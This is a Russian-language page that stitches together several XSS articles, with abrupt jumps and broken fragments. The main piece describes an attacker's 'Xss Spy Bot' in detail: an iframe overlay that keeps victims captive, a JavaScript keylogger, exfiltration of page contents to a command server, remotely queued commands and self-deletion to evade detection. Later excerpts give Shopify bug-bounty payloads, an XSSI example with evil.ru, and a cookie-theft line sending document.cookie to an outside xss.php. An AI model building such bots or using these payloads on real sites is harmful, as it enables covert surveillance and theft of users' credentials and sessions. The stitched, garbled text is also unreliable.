Easy Hack: Как добыть данные через Cross Site Scripting Inclusion. XSS атаки: какими они бывают и чем опасны Типа xss

Всем давно известно, что чаще всего c помощью XSS атакующий пытается отправить Cookie жертвы, прочитать CSRF токены, провести фишинговую атаку (создав фальшивую форму логина), совершить какое-нибудь действие от имени пользователя и некоторые другие близкие по цели атаки (возможно, это не все возможности, но это все наиболее популярные известные мне на данный момент).

Цель этого метода – мониторить страницы от имени пользователя, по которым он переходит на атакуемом сайте, а также мониторить его нажатия клавиш (можно еще движения и клики мышкой, но по мне так это будет лишней, не особо полезной инфой, в большинстве случаев точно).
Теперь по поводу максимальной пользы – я считаю, что алгоритм будет такой:

  • читаем и отправляем Cookie;
  • читаем и отправляем остальную инфу (IP-адрес, установленные плагины, версия и вид браузера, поддержка flash, поддержка silverlight и пр.) [опционально]
  • добываем сведение о внутренней сети, пробиваем роутер [опционально]
  • читаем и отправляем разные токены [опционально];
  • реализовываем фишинг [опционально];
  • делаем что-то “руками”” юзера [опционально];
  • продолжаем шпионить за ним и добывать инфу, пока он не закрыл вкладку или не ушел с сайта;

Все опциональные пункты списка имхо должны выполняться в зависимости от ситуации и конкретных приоритетах в целях, которых надо достичь при помощи XSS, они иногда могут мешать друг другу (если попытаться их скомбинировать, точнее выполнить один за другим) и увеличивают вероятности провала эксплуатации XSS.
Но вот первый и последний пункты выполнять стоит всегда, при любом раскладе.Собственно основная часть статьи будет про последний пункт из этого списка.

Подходим к цели.

Начну издалека: через JavaScript есть возможность изменять путь в адресной строке без перезагрузки страницы. Например, если пользователь загрузил страницу по адресу


То в адресной строке содержание станет следующим (без перезагрузки страницы):

http : //site.com/new-url/


Эта возможность, кстати, иногда бывает довольно полезной, когда от пользователей (или более внимательной категории юзеров – админов) надо скрыть быстро почистить URL после того, как он перешел по ссылке, где содержалась Reflected XSS, чтобы он потом, после загрузки страницы, посмотрев в адресную строку, ничего не обнаружил.

http : //site.com/search.php?q=123 document . body . innerHTML += "Hacked" ;

http : //site.com/search.php?q=123 window . history . pushState ("" , "" , "/" ) ; document . body . innerHTML += "Hacked" ;


мы лишим его этой возможности.

Но у этой техники есть еще более интересное и мощное применение. Мы будем имитировать юзеру его пребывание на сайте после перехода по ссылке, на самом деле он будет оставаться на одной странице все время, а в это время будет работать сторонний скрипт, добывающий и отсылающий инфу атакующему. Таким образом,XSS будет работать на протяжении всего времени, пока юзер переходит по ссылка на этом домене .

Обозначаем идею.

Общий принцип работы такой: когда юзер заходит на страницу с XSS, скрипт создает iframe с таким же адресом, как это страница и “прикрепляет” его на первый план, у пользователя создается впечатление, будто страница загрузилась нормально, ведь iframe можно увидеть только в коде страницы.

А вспомогательный скрипт контролирует логику бота-шпиона, то есть следит за тем, когда во фрейме поменяется адрес, чтобы поменять его в адресной строке, если же в новоизмененном адресе фрейма другой домен, то можно открыть его на новой влкадке, или же придется перезагружать страницу, чтобы не спалиться.
Таким образом, чтобы XSS перестала выполняться в данный момент, юзер должен или обновить страницу вручную (если XSS – Reflected и передавалась методом POST, в остальных случаях обновление не спасет, и кстати некоторые браузеры сейчас при обновлении старницы могут опять отправить POST запрос повторно) или закрыть вкладку или перейти на другой домен (хотя в этом случае еще можно избежать потери управления).

Если он переходит в поддомент атакуемого домена, то тут выбор атакующего, то есть XSS будет работать, но есть небольшая вероятность, что юзер просечет несоответствие между адресом. Думаю, что тут по ситуации, например, если атаковался домен google.ru, юзер перешел в облачный файловый сервис гугла, который обычно лежит в поддомене drive.google.ru, то вероятность того, что он заметит подвох при взгляде в адресную строку довольно высока,если он часто пользовался этим сервисом . Иначе можно и рискнуть. Но надо учесть, что читать его данные из фрейма с поддоменом мы уже не сможем, так как Cross Origin Policy не позволит. Зато можем преспокойно полазить по основному домену от его имени в скрытом режиме (нижу будет об этом поподробнее).

Только у данного метода есть ограничения, а именно – он не будет работать, если в ответах веб-сервера сайта есть заголовокX-Frame-Options со значениемDENY . Но лично я такие сайты встречал буквально пару раз, сейчас даже у половиныSAMEORIGIN не выставлен, не говоря уже о полном ограничении черезDENY .

Анализируем идею.

Сейчас многие наверняка вспомнили такую замечательную штуку, какBeEF , в котором есть тоже очень много интересных вещей. Так кстати тоже есть опция форсированного редиректа юзера во фрейме, вот только адрес в адресной строке не изменяется, что может быстро спалить конторку и эта опция немного для других целей служит.
В целом в BeEF’e есть почти все, что необходимо и даже много дополнительных функций, но лично мне хотелось дополнительного функционала, а именно:

  • возможность мониторить код страниц, которые доступны атакуемому юзеру в реальном времени;
  • возможность смотреть все, что он набирает на том сайте (от логина и пароля, до хоткейев и сообщений), то есть keylogger на JS;
  • возможность давать команды на JS своему боту в реальном времени, после просмотра кода полученных страниц;
  • возможность оставлять боту команды локально, чтобы он потом их “забирал” и выполнял без прямого нашего участия;
  • более маленькая вероятность спалиться боту, или возможность бота “прятаться” от любопытных глаз;

Как было упомянуто выше – решил позаимствовать у BeEF’a классную идею очереди выполнения комманд. Например, были проанализированы страницы, которые скинул бот, когда привелегированный юзер лазил у себя в панеле управления со stored XSS, мы оставляем боту команды – JS-код, типа в следующий раз когда юзер зайдет, нажми эту кнопку, запиши сюда такое значение и тд, когда этот юзер в следующий раз заходит на страницу, бот читает команды и выполняет их, а нам во все не обязательно быть у его штурвала – очень удобно.

В основном такой бот, конечно расчитан для статусных юзеров каких-нибудь сайтов, у которых есть дополнительные “рычаги” управления контентом, другими юзерами и тд. Из запросов по функционалу видно, что без серверной части не обойтись.

Реализуем идею.

Данную часть статьи в принципе можно пропустить, так как она просто описывает процесс реализации нужного бота и некоторые его детали, на случай, если кто-то захочет его переделать или допилить под себя. Хотя у бота в начале кода будут переменные, через которые можно выставить некоторые настройки.
Сначала алгоритм действий бота с момента загрузки:

1) Проверка наличия заголовкаX-Frame-Options:DENY (если есть, то свертываем удочки);
2) Встраивание фрейма и настройка всех компонентов бота;
3) Удаление скрипта и всех следов в HTML-коде;
4) Налаживание контакта с сверверной частью и начало перессылки данными, реагируя на ответы (получая от сервера команды);

Первый пункт сделал не совсем полноценно, то есть бот проверяет только первую страницу и корневую заголовка. Дело в том, что обычно эти заголовки встраиваются веб-сервером и для всех страниц сразу и очень редко, что для отдельной страницы все делается “вручную”. Да и этот заголовок сам по себе довольно редок. Ну а по второму и третьему особо говорить нечего, ниже все будет.

Есть относительно важный момент, что перед добавлением кода скрипта бота в своем коде надо избавляться от признаков XSS в адресной строке сразу (от JS кода), так как это уменьшает шансы на обнаружение и самое галвное – предотвращает рекурсию, которая возникает при добавлении во фрейм адреса с тем же XSS кодом, который в свою очередь создает еще один фрейм с собой и тд.

Но на всякий случай в коде бота реализована возможность детекта такой фреймовой рекурсии и предотвращения при первой же попытке добавления фрейма в уже созданный, но лучше не надеятся только на нее, а дополнительно удалять код перед загрузкой кода бота. Хотя я проблем еще не встречал.

Функция проверки обновления фрейма. Перепробовал несколько способов экономно решить эту проблему с помощью вешания обработчиков событий наcontentWindow илиcontentDocument , но ничего не удалось, поэтому пришлось писать функцию, которая чекала бы адрес фрейма и сравнивала его с сохраненным до этого, и на основе этого решала, обновиляется ли фрейм (изменился ли адрес) и потом сама себя рекурсивно вызывала.

Частота таких проверок в секунду регулируется переменнойdelay , которая указана в начале файла кода бота. Но позже, уже написав ее, нашел более эффективное решение – использовать простое решение и повеситьonload на фрейм, так что ту функцию я оставил, но закомментировал, на случай, если она потом окажется более востребованной.

Отправка HTML-кода страницы.

Тут схема довольно простоя – после каждой перезагразуки фрейма (включая перую прогрузку) бот отправляет на сервер весь HTML-код страницы вместе с текущем ее адресом, чтобы потом можно было отличать принадлежность кода к нужным страницам.

На сервере реализована логика складирования страниц – сервер для каждого домена создает папку с названием этого домена и туда сохраняем все данные. Коды страниц сохраняются и постоянно обновляются на актуальные версии, но при этом каждый новый день создается уже новая копия страницы, чтобы можно было при необходимости контролировать историю версий. То есть для/news.php 1 сентября состояние будет обновляться, а уже 2 сентября будет создана ее копия, только актуальная уже на этот день и так с каждым днем заново (если юзер посещает эту страницу каждый день). Название страницы состоит из даты и путя до этой страницы относительно корня сайта (то есть без домена).

Кейлоггер на JavaScript’e.

Идея уже была реализована некоторыми энтузиастами, но для меня их наработки не подходили, хотя бы потому что большинство из них были довольно простыми, то есть детектили код нажатой клавиши и черезString.fromCharCode переводили в символы. Но у такого метода ряд недостатков – управляющие клавиши типа шифта, контрола, пробела и пр, не переводятся ни в какой вид (часто просто в пустой символ), взаимодействие цифро-буквенных клавиш с шифтом некорректно логируется, так как это надо реализовывать программно, а также все нажатые клавиши отображаются в верхнем регистре, что тоже исправлять программно.

В итоге получился кейлоггер, который корректно детектил все клавиши цифр, букв и основных знаков, работая на обоих раскладках, реагирую на шифт и логгируя все основные специальные клавиши. Правда некоторые знаки (в верхней части цифрового ряда, которые печатаются при нажатом шифте и цифре), на некоторых машинах могут отличаться, так как были реализованы по основным стандартом, которые некоторым некоторые компании изменяют.
Каждая порция нажатых символов сохраняется у клиента до тех пор, пока текстовый элемент не потеряет фокус. Далее эта порция отправляется на сервер, где сохраняется в текстовом файле, который также будет создаваться каждый день с новой копией, чтобы не было роста до больших размеров и можно было быстро найти, что юзер набирал в такое время.
По мимо самих клавиш на сервер отправляется с каждой порцией информация об элементе, в котором набирался текст (то есть был ли это, [ или какой-нибудь когда юзер пользовался хоткеями), помимо названия элемента отправляется его основные данные (id, name, class – если они пристутствуют), чтобы его потом можно было легко найти в коде. Ну и конечно же записывается адрес страницы, на которой был набор и примерное время этого набора. В общем информации о стучании юзера по клавиатуре отправляется вполне достаточно для последующего ее разбора.

Командование своим ботом.

Этот процесс может осуществляться атакующим или на стороне, где запущет серверная часть бота или даже удаленно. После запуска серверного скрипта, стартует самописный миниатюрный веб-сервер, который обслуживает запросы бота и его контролера, который работает через веб-интерфейс. То есть после запуска веб-сервер выдает ссылку, зайдя по которой можно начать отдавать команды боту.

Об этой панеле управления. Во-превых, надо было ограничить ее паролем (путь и мало кто будет знать о запущенном сервисе на таком-то порту или об адресе, по которому надо зайти, чтобы этим сервисом воспользоваться), так что при первом заходе сервер запросит пароль, который подается в адресной строке (пример будет указан), подлинник пароля храниться вpassword.txt , который можно поменять. После первого захода веб-сервер даст команду браузеру сохранить пароль в cookie, так что дальше об этом можно не беспокоиться.

На самой странички высылания команд боту находится также информация о состоянии бота – онлайн или оффлайн он на данный момент, и пару настроек, первая из которых – хост, то есть IP-адрес или домен сайта, боту которого будут отправлены команды. Это расчитано на случай, если несколько сайтов будут содержать этого бота, чтобы можно было их идентифицировать. На сервере также для этого случая все данные разделены по папкам с названиями доменов.
Далее идет окно, где писать команды боту на JS, и опция, которыя устанавливает, где будет исполняться этот JS-код, на главном окне, где сидит бот или во фрейме – это сделано для удобстве, на всякий случай.

Если бота онлайн нет, то сервер просто сохраняет команды и позже, когда бот выходит в онлайн, то есть юзер снова посещает страничку с ним или переходит по ссылке атакующего – эти команды будут исполнены.
Это очень удобно, если при первой разведке бот скинул все посещенные юзером страницы (например личного кабинета), изучив код которых мы составили команды на JS, чтобы потом бот щелкнул по нужным нам ссылкам, ввел нужные данные, отобразил нужные картинки и пр, что поможет достичь поставленной цели.

А можно прямо в режиме реального вермени, быстро смотреть содержимое страниц через код и отдавать боту команды, чтобы тот прислал код других страниц, перешел по другому адресу и пр. И все это будет делаться “за ширмой” у юзера, который преспокойно будет серфить по сайту чере фрейм.

Для своего удобства можно формировать наиболее часто используемые инструкции в целые функции на JS, которые потом заносить в исходный файл боты (xsb.js , о файловой структуре еще будет ниже) и использовать. Или использовать уже те из функций, который заложены в бота, правда там только основа и ничего нового нет, но например можно воспользоваться функцией отправки кода страницы в любой момент времени, а не тогда, когда перезагружается фрейм. Можно написать функцию, которая будет открывать передаваемые ей ссылки в новых фреймах на заднем плане, чтобы просматривать содержимое стразу нескольких страничек от имени юзера (и оперировать этим содержимое его виртуальными руками).

Удаление собственного кода.

Ну и последняя возможность реализуется довольно просто (ее можно отключить, задав нужную переменную в файле, они откомментированы). Скрипт, после настройки и вешания всех обработчиков событий, создания всех переменных и функций сам себя удаляет

Ведь все данные уже были загружены в оперативную память через браузер, так что беспокоиться не о чем, но это в теории, может потом и будут какие-то проблемы, которые я не учел, так что я воздал переменну, которой можно отключить эту возможность по необходимости.

После удаления всех скриптов заметить XSS будет крайне сложно, так как наличия фрейма ни говорит об это довольно косвенно, а сам код можно найти разве что в логах истории сетевого трафика браузера (которые не ведуться по умолчению во многих браузерах, если не открыта панель разработчика).

Серверная часть.

Для более простого и удобного способа запуска бота было решено писать свой маленький веб-сервер на сокетах, который бы обслуживал бота, обеспечивал все операции по принятию и размещению присланных данных, передавал бы сообщения между атакующим и ботом и создавал бы атакующему веб-интерфейс для командования.
Писался сервер на питоне, я тарался использовать только стандартные библиотеки, чтобы не надо было ничего устанавливать перед запуском. Также сервер сам правит некоторые данные в скриптах, то есть в JS-скрипте бота не надо устанавливать адрес командующего сервера, веб-сервер сам выставит туда нужный при запуске. В конфигурирвоании сервера есть толкьо один параметр – порт, на котором он запуститься (по умолчанию 8000).
После запуска сервер выдаст все необходимые данные – ссылку на JS-скрипт, которую надо будет подсунуть, ссылку на панель командования, точнее ссылки – на внешний и локальный адреса, для удобства.

Схема работы с ботом.

Запускаем сервер на каком-нибудь невостребованном порту и можно рассылать ссылку со скриптом бота, далее все, кто по ней перейдут будут отсылать вам данные, которые сервер будет сохранять в любое время дня. Потом можно просто их просмотреть, если есть необходимость оставить боту команды и дальше заниматься своими делами.

Файловая структура.

В папке есть следующие файлы:

  • xsb.py – основной файл, который реализует серверную часть, для работы бота запускить его, а дальше просто использовать предлагаемую им ссылку;
  • xsb.js – здесь храниться JS код бота, ссылку на который выдает сервер, в его начале объявлены конфигурационные переменные, которые можно изменить по своему усмотрению (некоторые, а именно хост и порт сервер выставит потом сам, можно не париться);
  • panel.html – отсюда сервер берет код для панели управления ботом, можно подправить интерфейс на свое усмотрение;
  • password.txt – тут храниться пароль от панели управления, которые можно поменять;
  • savedData – это директория, в которой будут создаваться папки с доменами сайтов, в которые будет сохраняться вся информация.

Еще раз замечу, что в файлеxsb.js можно добавлять свои функции, которые потом вызывать через панель, не расписывая громадные порции кода;

Небольшой анализ итогов.

После написания свое придуманного способа удержания юезра на странице с XSS через фреймы (ну как придуманного – я его лично для себя открыл, вполне возможно, что кто-то еще для себя эту же технику “изобретал” или она вообще уже где-то в паблике светилась, ведь сейчас уже разработать что-то по-настоящему новое довольно сложно, и как правило через какое-то время обнаруживаешь, что “это уже было в Симпсонах”) я начал более детально копаться в BeEF’e и читать его wiki. После чего обнаружил, что там была реализована другая техника достижения той же цели – продления времени польователя на странице с исполняемой XSS (которую там именовалиman-in-the-browser ). А реализовывалась так: все ссылки на первоначальной странице изменялись таким образом, что при клике на любую из них скрипт не перезагружал страницу, а через Ajax отправлял запрос на сервер и вставлял полученные в ответе данные, то есть можно сказать искуственно обновлял ее, что было также почти неотличимо от обычного рефреша.

Поэтому мне не первому удалось эту задумку реализовать (пусть даже и способы оказались разными). Но у обоих этих методов есть свои недостатки:

Способ подгрузки через не работает при наличии заголовка в ответеX-Frame-Options:DENY , зато в остальном пашет, как обычное окно браузера;

Способ подругзки через ajax работает всегда, если браузер поддерживает это (сейчас все основные барузеры поддерживают), но при этом с новым стандартом Web 2.0 все больше и больше переходов инициируется кастомными событиями любых элементов через JS. Однажды зашел наGoogle AdWords и решил посмотреть, как там у них HTML и JS взаимодействуют, потому что все мои спайдеры крайне плохо справлялись с созаднием карты этого сервиса. И я тихо охреневал весь вечер, насколько там все не привычно было, когда текстовые элементы являлись и кнопками и свитчерами и слайдерами и чем только не изображались, и на каждом висело где-то по 30 обработчиков разных событий.

То есть на навороченном сайте кнопка перехода (субъективно ссылка) будет реализована через обычный тег , который нагружен стилями и на которого навешано обработчиков событий, один из которых, например,onclick перенаправляет юзера на другую страницу. Также есть стандартные элементы типа [i] или сам и пр., которые тоже фактически являются ссылками на другие страницы, но на которые BeEF реагировать не будет и страница просто не будет обновляться при клике на большинство кнопок и других элементов. Что может побудить пользователя обновить страницу или перезайти “с другой стороны”, что убивает нашу активную XSS-сессию.

Для краткости именования файлов назвал его – Xss Spy Bot.

P.S.
Все это дело писалось чуть больше месяца в силу периодической нехватки времени и постоянных отвлекающих факторов. Так же из-за этого и качетсво кода и вероятность нарваться на какой-нибудь баг довольно высока. Так что прошу особо не ругаться, а отписываться, что у кого не так, чтобы можно было это исправить.
Сам я протестировал бота только на 4 машинах, на всех стоял Debian.

В дальних планах на этого бота, если будет мотивация:
– реализовать рендеринг кода страниц, которые бот присылает на сервер, чтобы сразу в браузере открывался и его можно было “щупать”, тестить на лету;
– попробоват словить плюшек с технологии WebRTC, то есть найти способы добыть новую информацию, которая чистым JS не вытягивается;
– реализовать общение бота и сервера по протоколу WebSocket поверх HTTP;
– добавить некоторые удобства на панель управления;

Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

  • Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
  • Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
  • Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:


Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:


Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”


Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости:

  • Уязвимость в этом случае не была непосредственно в самом поле загрузки файла - она была в названии поля. Так что, когда вы ищите возможность применить XSS, не забывайте поиграться со всеми доступными значениями полей.
  • Указанное значение было отправлено после того, как его изменили при помощи прокси. Это важно в ситуациях, когда на клиентской стороне (в вашем браузере) значения валидируются перед отправкой на сервер.
  • На самом деле, каждый раз, когда вы видите, что валидация в реальном времени осуществляется в вашем браузере, это должно быть красным флагом, сигнализирующем о необходимости протестировать это поле! Разработчики могут допускать ошибки, не валидируя отправленные значения на предмет вредоносного кода на сервере, потому что надеются, что Javascript-валидация в браузере уже осуществила проверку.

    Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

    Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

    К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

    При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

    Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

    Var a = "12345";

    Тогда на сайте атакующего мы можем получить значение переменной:

    console.log(a);

    Идея работы проста, как алюминиевый чайник.

    По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

    Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

    Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

    Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

    Function test(){ return "private data frm function"; }

    Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

    Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

    Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.

    Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

    Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

    http://www.site.com/page.php?var=<script>alert("xss");

    Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

    Пассивная и активная

    Существует два типа XSS уязвимостей - пассивная и активная.

    Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

    Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

    Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

    document.getElementsByTagName("form").submit();

    Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

    Кража Cookies

    Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

    var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

    Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

    Кража данных из форм

    Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

    Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

    DDoS-атака (распределенная атака типа «отказ в обслуживании»)

    XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
    Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

    Подделка межсайтовых запросов (CSRF/XSRF)

    Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

    Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

    Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

    XSS-черви

    Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

    Безобидный XSS

    Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.

    Что такое XSS-уязвимость? Стоит ли ее опасаться?

    Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

    Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости. Но если их не устранять, это может нести серьезную угрозу безопасности.

    Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия.

    Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

    XSS: Уязвимость для инъекции

    Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

